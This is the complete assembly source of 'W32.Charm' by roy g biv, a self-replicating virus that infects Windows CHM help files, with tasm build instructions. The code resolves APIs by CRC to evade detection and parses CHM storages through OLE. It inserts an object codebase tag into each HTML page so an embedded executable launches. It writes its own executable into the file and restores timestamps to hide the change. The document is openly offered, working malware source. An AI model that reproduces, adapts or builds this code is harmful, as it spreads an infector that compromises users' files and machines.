| ||||||||||||||||
W32.Charm
by roy g biv
See also the project folder comment ;) W32.Charm by roy g biv - parasitic direct action infector of CHM files - infects files in current directory only - two-stage approach, by adding codebase to htm files and inserting exe file - uses CRCs instead of API names --- to build this thing: tasm ---- tasm32 /ml /m3 charm tlink32 /B:400000 /x charm,,,import32 Virus is not self-modifying, so no need to alter section attributes (; .386 .model flat extern CreateFileW:proc extern GetTickCount:proc extern WriteFile:proc extern CloseHandle:proc extern MessageBoxA:proc extern ExitProcess:proc .data include charm.inc dropper label near mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, olecrc_count mov ebx, offset olenames mov edi, offset olecrcbegin call create_crcs xor ebp, ebp push ebp push ebp push CREATE_ALWAYS push ebp push ebp push GENERIC_WRITE push offset exename call CreateFileW push eax push eax push esp push offset charm_codeend - offset charm_begin + exesize + 1ffh push offset charm_hdr push eax call WriteFile call CloseHandle xor eax, eax push eax push offset txttitle push offset txtbody push eax call MessageBoxA call ExitProcess ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- exesize equ 94h charm_hdr label near db 'M', 'Z' ;00 db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA) db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp) dw 14ch ;10 04 machine (overload for forwarder chain) dw 1 ;12 06 number of sections (overload for forwarder chain) dd 2 ;14 08 date/time stamp (overload for dll name RVA) dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA) db "rgb!" ;1c 10 number of symbols dw 40h ;20 14 size of optional header dw 30fh ;22 16 characteristics dw 10bh ;24 18 magic db 'r' ;26 1a major linker db 'r' ;27 1b minor linker dd 0 ;28 1c size of code (overload for import table terminator) dd 56h ;2c 20 size of init data (overload for import name table RVA) dd 0 ;30 24 size of uninit data (overload for import name table terminator) dd exesize + 1000h ;34 28 entry point db "rgb!" ;38 2c base of code dd 0ch ;3c 30 base of data (overload for lfanew) dd 400000h ;40 34 image base dd 1000h ;44 38 section align dd 200h ;48 3c file align db "rg" ;4c 40 major os db "b!" ;4e 42 minor os db "rg" ;50 44 major image db "b!" ;52 46 minor image dw 4 ;54 48 major subsys dw 0 ;56 4a minor subsys (overload for import name table) db "Arc", 0 ;58 4c reserved (overload for import name table) dd (offset charm_codeend - offset charm_begin + exesize + 1fffh) and not 0fffh ;5c 50 size of image dd exesize ;60 54 size of headers dd 0 ;64 58 checksum (overload for section name) dw 2 ;68 5c subsystem (overload for section name) dw 0 ;6a 5e dll characteristics (overload for section name) dd 1 ;6c 60 size of stack reserve (overload for virtual size) dd 1000h ;70 64 size of stack commit (overload for virtual address) dd (offset charm_codeend - offset charm_begin + exesize + 1ffh) and not 1ffh ;74 68 size of heap reserve (overload for file size) dd 1 ;78 6c size of heap commit (overload for file offset) db "rgb!" ;7c 70 loader flags (overload for pointer to relocs) dd 2 ;80 74 number of rva and sizes (overload for pointer to line numbers) dd 0 ;84 78 export (overload for reloc table and line numbers) dd 0e0000000h ;88 7c export (overload for section characteristics) dd 1008h ;8c 80 import dd 0 ;90 84 import ;94 ;----------------------------------------------------------------------------- ;main virus body. everything happens in here ;----------------------------------------------------------------------------- charm_begin proc near mov dword ptr ds:[40102ch], 56h ;restore overwritten entry xor esi, esi lods dword ptr fs:[esi] push eax mov dword ptr fs:[esi - 4], esp inc eax walk_seh label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne walk_seh enter size STATSTG + size WIN32_FIND_DATAW - 4, 0 ;-4 because EBP saved automatically lods dword ptr [esi] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near ;place < 80h bytes from call for smaller code dd (krncrc_count + 1) dup (0) krncrcend label near dd offset check_ole - offset krncrcend + 4 db "CHarM - roy g biv" ;don't press F1! ;) init_findmz label near inc eax xchg edi, eax find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne find_mzhdr mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expadrrva] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA lea ecx, dword ptr [ebx + eax] lods dword ptr [esi] ;Ordinal Table RVA lea ebp, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 2] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export add edi, dword ptr [edi + 4] jmp edi exename dw ".", "e", "x", "e", 0 ;----------------------------------------------------------------------------- ;get OLE32 APIs ;----------------------------------------------------------------------------- check_ole label near call load_ole db "ole32", 0 load_ole label near call dword ptr [esp + krncrcstk.kLoadLibraryA - (olecrc_count shl 2)] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- olecrcbegin label near ;place < 80h bytes from call for smaller code dd (olecrc_count + 1) dup (0) olecrcend label near dd offset oleinit - offset olecrcend + 4 ;----------------------------------------------------------------------------- ;initialise ITSS support ;----------------------------------------------------------------------------- oleinit label near lea ebp, dword ptr [esp + size krncrcstk - 4] xor ebx, ebx push ebx call dword ptr [ebp + krncrcstk.oCoInitialize - size krncrcstk] push eax push esp call skip_riid CLSID <88CC31DEh, 27ABh, 11D0h, 9Dh, 0F9h, 00, 0A0h, 0C9h, 22h, 0E6h, 0ECh> skip_riid label near push CLSCTX_INPROC_SERVER push ebx call skip_rclsid CLSID <5D02926Ah, 212Eh, 11D0h, 9Dh, 0F9h, 00, 0A0h, 0C9h, 22h, 0E6h, 0ECh> skip_rclsid label near call dword ptr [ebp + krncrcstk.oCoCreateInstance - size krncrcstk] pop esi lea eax, dword ptr [ebp + size STATSTG] push eax call skip_mask dw "*", ".", "c", "h", "m", 0 ;----------------------------------------------------------------------------- ;find some CHM files ;----------------------------------------------------------------------------- skip_mask label near call dword ptr [ebp + krncrcstk.kFindFirstFileW - size krncrcstk] inc eax je charm_exit dec eax push eax ;----------------------------------------------------------------------------- ;check for infection marker (read-only file attrributes) ;----------------------------------------------------------------------------- enum_file label near bts dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.dwFileAttributes], ebx jb find_next push esi call infect_file ;Super Nashwan power ;) push dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.dwFileAttributes] lea eax, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.cFileName] push eax push ebx push ebx push OPEN_EXISTING push ebx push FILE_SHARE_READ push GENERIC_WRITE push eax call dword ptr [ebp + krncrcstk.kCreateFileW - size krncrcstk] push eax lea ecx, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.ftLastWriteTime] push ecx sub ecx, 8 push ecx sub ecx, 8 push ecx push eax call dword ptr [ebp + krncrcstk.kSetFileTime - size krncrcstk] call dword ptr [ebp + krncrcstk.kCloseHandle - size krncrcstk] call dword ptr [ebp + krncrcstk.kSetFileAttributesW - size krncrcstk] pop esi find_next label near pop eax push eax lea ecx, dword ptr [ebp + size STATSTG] push ecx push eax call dword ptr [ebp + krncrcstk.kFindNextFileW - size krncrcstk] test eax, eax jne enum_file call dword ptr [ebp + krncrcstk.kFindClose - size krncrcstk] ;game over charm_exit label near push esi lods dword ptr [esi] call dword ptr [eax + Release] call dword ptr [ebp + krncrcstk.oCoUninitialize - size krncrcstk] call dword ptr [ebp + krncrcstk.kExitProcess - size krncrcstk] ;----------------------------------------------------------------------------- ;infect file ;algorithm: for each file whose suffix is ".htm", add codebase reference ; when entire file is processed, add exe file. so simple ;----------------------------------------------------------------------------- infect_file proc near push eax push esp push ebx push ebx push STGM_READ or STGM_SHARE_EXCLUSIVE push ebx lea eax, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.cFileName] push eax push esi mov eax, dword ptr [esi] call dword ptr [eax + StgOpenStorage] test eax, eax jne infect_ret push "c" mov eax, esp push esp push ebx push STGM_WRITE or STGM_SHARE_EXCLUSIVE push eax push esi lods dword ptr [esi] call dword ptr [eax + StgCreateDocfile] test eax, eax je enum_first pop eax infect_ret label near pop eax ret db "05/04/05" test_stg label near mov edi, dword ptr [ebp + STATSTG.pwcsName] cmp edi, ebx je enum_next ;----------------------------------------------------------------------------- ;handle storages and streams only, discard all else ;----------------------------------------------------------------------------- test_str label near mov ecx, dword ptr [ebp + STATSTG.type] jecxz free_next dec ecx loopne free_next inc ecx sete cl push eax mov eax, esp push ecx push eax push ebx jne skip_exclude ;----------------------------------------------------------------------------- ;OpenStorage() requires extra parameter ;----------------------------------------------------------------------------- push ebx skip_exclude label near push STGM_READ or STGM_SHARE_EXCLUSIVE push ebx push edi mov esi, dword ptr [ecx * 4 + esp + 2ch] push esi lods dword ptr [esi] call dword ptr [ecx * 8 + eax + OpenStream] pop ecx push eax mov eax, esp push ecx push eax push ebx push ebx push STGM_WRITE or STGM_SHARE_EXCLUSIVE push edi mov esi, dword ptr [esp + 2ch] push esi lods dword ptr [esi] call dword ptr [ecx * 8 + eax + CreateStream] pop ecx loop handle_str ;----------------------------------------------------------------------------- ;enter storage and continue parsing (non-recursive algorithm) ;----------------------------------------------------------------------------- mov eax, dword ptr [esp + 10h] enum_first label near inc eax push eax push edi push eax push esp push ebx push ebx push ebx mov esi, dword ptr [esp + 20h] push esi lods dword ptr [esi] call dword ptr [eax + EnumElements] jmp enum_next free_next label near push edi call dword ptr [ebp + krncrcstk.oCoTaskMemFree - size krncrcstk] enum_next label near pop esi push esi push ebx push ebp push 1 push esi lods dword ptr [esi] call dword ptr [eax + Next] xchg ecx, eax loop test_stg pop esi push esi lods dword ptr [esi] call dword ptr [eax + Release] pop edi release_str label near pop ecx pop esi push ecx loop skip_exe ;----------------------------------------------------------------------------- ;add exe file as final step ;----------------------------------------------------------------------------- push esi push eax push esp push ebx push ebx push STGM_WRITE or STGM_SHARE_EXCLUSIVE push offset exename - offset charm_begin + exesize + 401000h push esi mov eax, dword ptr [esi] call dword ptr [eax + CreateStream] pop esi push ebx push offset charm_codeend - offset charm_begin + exesize + 1ffh push 401000h push esi mov eax, dword ptr [esi] call dword ptr [eax + Write] push esi lods dword ptr [esi] call dword ptr [eax + Release] pop esi skip_exe label near push esi lods dword ptr [esi] call dword ptr [eax + Release] pop ecx pop esi push ecx push esi lods dword ptr [esi] call dword ptr [eax + Release] pop ecx loop free_next ;----------------------------------------------------------------------------- ;replace original file with infected file ;----------------------------------------------------------------------------- push "c" mov eax, esp push MOVEFILE_REPLACE_EXISTING or MOVEFILE_WRITE_THROUGH lea ecx, dword ptr [ebp + size STATSTG + WIN32_FIND_DATAW.cFileName] push ecx push eax call dword ptr [ebp + krncrcstk.kMoveFileExW - size krncrcstk] pop eax ret ;----------------------------------------------------------------------------- ;copy stream data ;----------------------------------------------------------------------------- handle_str label near push ebx mov esi, dword ptr [ebp + STATSTG.cbSize] push esi push ebx call dword ptr [ebp + krncrcstk.kGlobalAlloc - size krncrcstk] push eax push ebx push esi push eax push dword ptr [esp + 14h] push ebx push esi push eax mov esi, dword ptr [esp + 28h] push esi lods dword ptr [esi] call dword ptr [eax + Read] pop esi push esi mov eax, dword ptr [esi] call dword ptr [eax + Write] call dword ptr [ebp + krncrcstk.kGlobalFree - size krncrcstk] push edi call dword ptr [ebp + krncrcstk.klstrlenW - size krncrcstk] xchg ecx, eax mov eax, dword ptr [ecx * 2 + edi - 8] or eax, 00200020h cmp eax, 0068002eh jne branch_release mov eax, dword ptr [ecx * 2 + edi - 4] or eax, 00200020h cmp eax, 006d0074h jne branch_release ;----------------------------------------------------------------------------- ;if suffix is ".htm", add codebase reference ;----------------------------------------------------------------------------- push ebx push offset codebase_e - offset codebase_b call skip_codebase codebase_b label near db "<object classid='clsid:1baddeed'codebase='.exe'></object>" codebase_e label near skip_codebase label near push esi lods dword ptr [esi] call dword ptr [eax + Write] branch_release label near jmp release_str db "*4U2NV*" ;that is, unless you're reading this infect_file endp charm_codeend label near charm_begin endp db (offset charm_codeend - offset charm_begin + exesize + 1ffh) dup (0) create_crcs proc near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer stos dword ptr [edi] dec edx jne create_crcs ret create_crcs endp ;must be alphabetical order ;API names are not present in replications, only in dropper krnnames db "CloseHandle" , 0 db "CreateFileW" , 0 db "ExitProcess" , 0 db "FindClose" , 0 db "FindFirstFileW" , 0 db "FindNextFileW" , 0 db "GlobalAlloc" , 0 db "GlobalFree" , 0 db "LoadLibraryA" , 0 db "MoveFileExW" , 0 db "SetFileAttributesW", 0 db "SetFileTime" , 0 db "lstrlenW" , 0 olenames db "CoCreateInstance", 0 db "CoInitialize" , 0 db "CoTaskMemFree" , 0 db "CoUninitialize" , 0 txttitle db "Charm", 0 txtbody db "now run .exe", 0 .code nop end dropper |